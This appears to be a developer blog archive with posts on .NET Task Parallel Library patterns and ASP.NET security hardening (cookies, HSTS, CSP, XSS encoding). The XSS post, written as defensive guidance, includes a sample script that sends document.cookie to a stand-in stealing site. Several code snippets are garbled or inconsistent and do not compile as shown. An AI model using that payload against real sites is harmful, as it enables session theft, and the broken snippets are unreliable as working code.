Wednesday 30 November 2016

.Net High Performance Part 7 : Correctly passing Parameters into a Task

If we are going to use some shared variables inside a Task, we might not refer the correct values because of race conditions.  Following is an example.


for(int i=0;i<10;i++)
{
    Task.Factory.StartNew( () =>
   {
       int id = i;
       Console.WriteLine(id);          
   }                      
   );
}

for(int i=0;i<10;i++)
{
    Task.Factory.StartNew( (arg) =>
   {

       int id = (int) arg;
       Console.WriteLine(id);
   },
    i     // Passing in the param                              
   );

}

Monday 28 November 2016

.Net High Performance Part 6 : Task Cancellation in TPL

When we are using the TPL , there are situations where we need to cancel a Task in the middle of its execution. We can use the CancellationTokenSource to perform this operation with a shared token.

Following is the code snippet about how we can achieve this.

private CancellationTokenSource mCancelTokenSource;
private List<Task> mRunningTasks;

private CancellationTokenSource m_cts;

// Any Constructor or a Main method

void Main()
{
   mCancelTokenSource= new CancellationTokenSource();
   mRunningTasks= new List<Task>();
}

// Any event that trigger the Task

CancellationToken token = m_cts.Token;

Task<string> T = new Task<string>(() =>
{
// code for the Task which returns a string

return result;
},

token  // rhe cancellation token:
);

mRunningTasks.Add(T);
T.Start();

// any event that handles the cancellation

mCancelTokenSource.Cancel();

// If we need to create new tasks and cancel them too
mCancelTokenSource =  new CancellationTokenSource();

We need to pay special attention to the exception handling when canceling a task. Upon cancellation , the task would throw the OperationCanceledException Hence , we need to ignore this particular exception inside our catch block.

try
{
       
}

catch(AggregateException ae)
{
     ae = ae.Flatten();

    foreach(var ex in ae.InnerExceptions)
    {
        if(  ex is  OperationCanceledException )
            // ignore this exception ;
        else
           // handles the exception
     }
}


Sunday 27 November 2016

.Net High Performance Part 5 :Exception Handling in .Net Task Parallel Library


In general.Net programming, exception handling is very straight forward. But this is not the case when it comes to the TPL.

If an exception occurred in a Task, even though if you invoke that Task in a thread where you do the exception handling, the Tasks's exception would bubble up to the OS level. This is simple because the Task is a different thread from the calling thread.

Example :

 

  try
  {
    // Some code 
    Task task = new Task.Factory.StartNew (()=> 
    {
       int i=0;
       int j= 89/i;
    }

   );

    // Some code 


  }
  catch(Exception Ex)
  {
   Console.WriteLine("An Exception occurred ! ");
  } 


} 

This divide by zero error is bubbling up to the OS level.
In order to mitigate this , we need to understand what kind of exception that is been thrown from the Task. We need to capture the AggregateException which is thrown from the code.


  try
  {
    // Some code 
    Task task = new Task.Factory.StartNew (()=> 
    {
       int i=0;
       int j= 89/i;
    }

   );

    // Some code 


  }
  catch(AggregateException Ex)
  {
   Console.WriteLine("Exception : {0}", Ex.InnerException.Message);
  } 
catch(Exception Ex) { Console.WriteLine("An Exception occurred ! "); } }


If there are more than one exception being thrown or if there are multiple tasks inside the exception handling block,

catch(AggregateException Ex)
  {
   Ex = Ex.Flatten();
   foreach(Exception ex in Ex.InnerExceptions)
      Console.WriteLine("Exception : {0}", ex.Message);
  } 



Friday 25 November 2016

Securely Hardening your ASP.Net MVC Application

Security Misconfiguration or go live with defaults lead to exposing many vulnerabilities to any application.  This is common to your ASP.Net MVC application as well.

Following are the steps you can take to hardening the MVC application.

Securing cookies using httponly attribute 

Cookies set by the server can be read by JavaScript. So These JS could be malicious and do have the potential of redirecting your cookies into different domains. All the cookies do not need to access by client side. Hence is it better to prevent it by using the httponly attribute 

This is how you can set it in the Web Config

<system.web>
    <httpCookies httpOnlyCookies="true" requireSSL="true" lockItem="true" xdt:Transform="Replace" />
</system.web>

It is always better to enforce this in the back end code as well. As follows.

Response.Cookies.Add(new HttpCookie("ApplicationCookie")
    {
      Value = "SomeValuerelatedToClient",
      HttpOnly = true
    });

If we add the Secure = true attribute , the cookie should be readable by the client on a secure connection , but will only be sent to the server if the connection is secure.

Implementing HSTS 

Even though we have implemented the SSL/TLS there are risks like sslstrip where someone can do a MIM attack and strip out the SSL. The HSTS ensures the communication is secured end to end. The client would not communicate unless the connection is fully SSL mode. 

In the Web.config

<system.webServer>
    <httpProtocol>
      <customHeaders>
        <add name="Strict-Transport-Security" value="max-age=16070400; includeSubDomains" />
      </customHeaders>
    </httpProtocol>
</system.webServer> 

Removing Banners 


Banner Grabbing is one of the famous recon technology used by attackers. By default, ASP.Net MVC applications expose few details such as the .Net framework Version, MVC Version etc.. These information always give an advantage to an attacker. 



We can use following code snippet to use remove these banners 

protected void Application_PreSendRequestHeaders()
{
   Response.Headers.Remove("Server");
   Response.Headers.Remove("X-AspNet-Version");
   Response.Headers.Remove("X-AspNetMvc-Version");
}

 

To Remove the  X-POWERED-BY header , we need to remove it from the ‘HTTP Response Headers’ module in IIS.

Implement Content Security Policy headers 


A Content-Security-Policy can help tighten the level of security in the user’s browser. This can define a policy to reject any mallicious payloads such as scripts css and content forms from user's browser. A Content-Security-Policy can be added as a set of headers. 

Following is a sample code how we can implement this. Please note that this is just a sample implementation and we can improve a lot in this. 

public class ContentSecurityPolicyFilterAttribute : ActionFilterAttribute
    {
        public override void OnActionExecuting(ActionExecutingContext filterContext)
        {
            var response = filterContext.HttpContext.Response;
            const string value = "default-src 'self&rsquo;&rdquo;;

            response.AddHeader("X-WebKit-CSP", value);
            response.AddHeader("X-Content-Security-Policy", value+"; options eval-script");
            response.AddHeader("Content-Security-Policy", value);
            base.OnActionExecuting(filterContext);
        }
    }

Do not use @HTML.RAW content in the Razor View 


All the @html razor attributes are enable automatic encoding of html and JS content from the Razor View engine. The Raw dosent. 



Wednesday 23 November 2016

Securing your ASP.Net MVC app by Cross Site Scripting Attacks using X-XSS setting


The IE and Chrome comes up with a built-in XSS prevention mechanism with X-XSS header. But in order to use this we need to enable this in our Web Server or in our Web applications.

IF this is enabled in the server the request header would look like this.



 If your Web app is an ASP.Net MVC application , it is very easy to enable using the web.config file.
All you need to do is add a Custom Header as in the following config entry.

<httpprotocol>
    <customheaders>
        <remove name="X-Powered-By">
        <add name="X-XSS-Protection" value="1; mode=block">
    </add></remove>
   </customheaders>
</httpprotocol>

You can Add this in the IIS as well into the HTTP Response headers section.



If you are using Apache Web Server all you need to do is add the following line to your .htaccess file.

<IfModule mod_headers.c>
     Header set X-XSS-Protection "1; mode=block"
</IfModule>



Wednesday 16 November 2016

.Net High Performance Part 4 : WaitAllOneByOne Pattern

There is an interesting design pattern with .Net Parallel Task processing called "WaitAllOneByOne". As the name implies, it is waiting for all Tasks to complete and process the results as in the order of Tasks are completed. Following is the coding.


 

// Create a list of Tasks 
List> tasks = new List>();
  
// Create N number of tasks 
for(int i=0;i(//Code for task goes here));

while(tasks.Count>0)
{
  int index = Task.WaitAny(tasks.ToArray());

  // process tasks[index].Result;

  tasks.RemoveAt(index);
} 




.Net High Performance Part 3 :Yield the Result from First Task in set of tasks

One quick thing before I forget this method. If there are multiple Tasks which are executing in parallel, how to yield the result from the first one to finish ?

It is simple as stack them into an array and waiting to until the first one to finish. Following is the coding.

 

 Task tasks = {t1,t2,t3...}; // The Task Array 

 int index = tasks.WaitAny(tasks);

 return tasks[index].Result;



Sunday 13 November 2016

.Net High Performance Part 2 : Create Facade Tasks for External I/O or API calls

In the earlier module , I have explained how to create a Task object and delegate the work responsibility to separate thread of the application. It is more or less identified as a code Task because there is a specific set of code that existing which is responsible for the parallel execution.

But, what if there is a situation where we do not have a specific code to execute parallel instated we have an API call or some I/O operation to execute and yield the result ? We can use the Facade Tasks to solve these kind of operations.

Following is a very simple example of how to write a Facade Task to make a parallel Async API call.

The Sample application is to download stock data from various stock data sources ( Yahoo,MSN and Nasdaq). We are going to call all these 3 sources and Yield results from the first source which would return data.


 
 Task t_yahoo = GetDataFromYahooAsync(symbol, numYearsOfHistory);
 Task t_nasdaq = GetDataFromNasdaqAsync(symbol, numYearsOfHistory);
 Task t_msn = GetDataFromMsnAsync(symbol, numYearsOfHistory);

 
 Task[] tasks = { t_yahoo, t_nasdaq, t_msn };
 int index = Task.WaitAny(tasks); // proceed when at least one Task is completed.

 Task winner = tasks[index];

 foreach (Task t in tasks)  // cancel outstanding requests:
  if (t != winner)
  (t.AsyncState as RequestState).Request.Abort();

 return winner.Result;


So the Async Methods are as follows 



 
private static Task GetDataFromYahooAsync(string symbol, int numYearsOfHistory)
{
   // Create the required URL 
   HttpWebRequest WebRequestObject = (HttpWebRequest)HttpWebRequest.Create(url);

   RequestState state = new RequestState(
    WebRequestObject,
    string.Format("http://finance.yahoo.com, daily Adj Close, {0} years", numYearsOfHistory),
    new char[] { ',' },
    6 /*Adj Close*/
   );
    IAsyncResult iar = WebRequestObject.BeginGetResponse(new AsyncCallback(WebResponseCallback), state);

    // create Task facade, containing asyncstate so we cancel if necessary:
    state.TaskSource = new TaskCompletionSource(iar.AsyncState);
    return state.TaskSource.Task;

}

The TaskCompletionSource is the important class here which is responsible for creating the Facade Task.

Friday 11 November 2016

Prevent XSS Scripting in ASP.Net Web Forms

Hey Folks , Today I am going to start the series of Security blogging starting with XSS Vulnerability.

XSS is a popular attack for web sites where the attacker can exploit non-sanitized untrusted data inputs by the user. The untrusted data means the data cannot be controlled by the apply the applications it self. If we take following example :

http://mysite/search.aspx?name=mysearch

the term mysearch is un trusted because its is a user input. This is the place where an attacker can exploit the site by inputting  malicious Java script , html or even css. If not sanitized an attacker can easily steal cookies or other DOM elements from the browser and redirect them to any other site.

Following is an example to redirect a cookie into a malicious site.

<script>location.href='http://mycookirstealsite/steal.html'?cookie='%2Bdocument.cookie;'</script>

Preventing this is faily easy when it comes to the ASP.Net web forms. We can use the nugest package "antixss". Just add the package to your project and sanitize input as follows.

  <script type="text/javascript">
    var mysearch = <%= Microsoft.Security.Application.Encoder.JavaScriptEncode(Request.QueryString["mysearch"]) %>
  </script>

For the html encoding we can use the System.Web.Security.AntiXss in the code behind.

 
var searchTerm = Request.Unvalidated.QueryString["mysearch"];
      if (!Regex.IsMatch(searchTerm, @"^[\p{L} \.\-]+$"))
      {
        throw new ApplicationException("Search term is not allowed");
      }

      SearchTerm.Text = AntiXssEncoder.HtmlEncode(searchTerm, true);

The other setting we can use is set the ValidateRequest attribute in the web.config to true. OR else we can use this in the page level as well in the @Page attribute.

Tuesday 8 November 2016

.Net High Performance Part 1 : The Task Object for Async programming

Coming back to the blogging after long months of idling ( From blogging though :) ).

Ok guys, things would be going on in a different direction from this point  on wards and I would be concentrating on more focused areas rather than blogging everything I learn freshly.  So folks , the focused areas are HPC ( High Performance Computing )  on .Net and Secure Software Development ( Well, Security would be my future as I see it now :D )

The HPC mainly categorized into 2 areas such as Async programming and Parallel Programming. Async Programming mainly concerns about application responsiveness and improve user experience. Technically, fork high latency , blocking operations in to different app thread.

The Parallel programming mainly focusing on performance by reducing the time of CPU-bound computations.

 One way of achieving this Parallelism is using Tasks in the .Net realm. A Task is considered as a unit of work or an object denoting an ongoing operation or computation.

Following is the basic steps to create a Task object and delegate the computationally time consuming process into a different application thread.


 
using System.Threading.Tasks;

Task T = Task.Factory.StartNew(() =>
{
 Random rand = new Random();
 int start = System.Environment.TickCount;

 double result= Simulation.ComputeComplex(rand);

 int stop = System.Environment.TickCount;

 double elapsedTimeInSecs = (stop - start) / 1000.0;

 this.lblResult.Content = result.ToString();
        this.lblTimeTaken.Content = elapsedTimeInSecs.ToString();

}
);

This code would delegate the complex process execution to a different thread than the Application UI thread. But there is a problem. Accessing the lblResult from a non UI thread is illegal and throwing an exception. To counter this we need to create a ContinueWith block using the T object and let the UI content update after the complex operation thread.
 
using System.Threading.Tasks;

Task T = Task.Factory.StartNew(() =>
{
 Random rand = new Random();
 int start = System.Environment.TickCount;

 result= Simulation.ComputeComplex(rand);

 int stop = System.Environment.TickCount;

 elapsedTimeInSecs = (stop - start) / 1000.0;

 this.lblResult.Content = result.ToString();
        this.lblTimeTaken.Content = elapsedTimeInSecs.ToString();

}
);

T.ContinueWith((antecedent) =>
{
 this.lblResult.Content = result.ToString();
        this.lblTimeTaken.Content = elapsedTimeInSecs.ToString();

 
 TaskScheduler.FromCurrentSynchronizationContext()
);